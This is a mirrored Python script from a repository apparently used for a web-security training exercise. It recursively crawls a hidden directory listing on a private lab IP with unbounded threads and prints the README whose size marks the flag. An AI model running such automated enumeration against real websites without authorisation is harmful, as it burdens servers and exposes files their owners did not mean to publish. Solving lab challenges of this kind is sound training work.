mirror of
https://github.com/tmoron/darkly.git
synced 2025-09-27 20:58:35 +02:00
68 lines
1.4 KiB
Python
68 lines
1.4 KiB
Python
import threading
|
|
import requests
|
|
import time
|
|
from bs4 import BeautifulSoup
|
|
|
|
IP = "http://10.12.248.155/"
|
|
BASE_URL = ".hidden/"
|
|
|
|
thread_pool = []
|
|
visited_count = 0
|
|
stop_thread = False
|
|
|
|
class Request(threading.Thread):
|
|
def __init__(self, url=""):
|
|
self.url = url
|
|
threading.Thread.__init__(self)
|
|
|
|
def run(self):
|
|
global thread_pool
|
|
global visited_count
|
|
global stop_thread
|
|
|
|
if (stop_thread):
|
|
thread_pool.clear()
|
|
exit(0)
|
|
|
|
res = requests.get(IP + BASE_URL + self.url)
|
|
parsed = BeautifulSoup(res.content, "html.parser")
|
|
|
|
readme_value = parsed.find("pre").contents[-1].split(" ")[-1]
|
|
if not readme_value.startswith("34"):
|
|
stop_thread = True
|
|
|
|
time.sleep(0.5) # processing NSA hack
|
|
|
|
print("\n\nFound the flag on: ", IP + BASE_URL + self.url)
|
|
|
|
flag = requests.get(IP + BASE_URL + self.url + "README")
|
|
print(flag.content.decode(), "\n")
|
|
|
|
exit(0)
|
|
|
|
for link in parsed.find_all("a"):
|
|
|
|
url = link["href"]
|
|
if (url != "README" and url != "../"):
|
|
|
|
if (not stop_thread):
|
|
print("\r " + str(visited_count) + " " + self.url + url + " ", end="", flush=True)
|
|
|
|
new_thread = Request(self.url + url)
|
|
new_thread.start()
|
|
|
|
thread_pool.append(new_thread)
|
|
|
|
visited_count += 1
|
|
|
|
|
|
def main():
|
|
thread_pool.append(Request())
|
|
thread_pool[0].start()
|
|
|
|
for thread in thread_pool:
|
|
thread.join()
|
|
|
|
|
|
if __name__ == "__main__":
|
|
main() |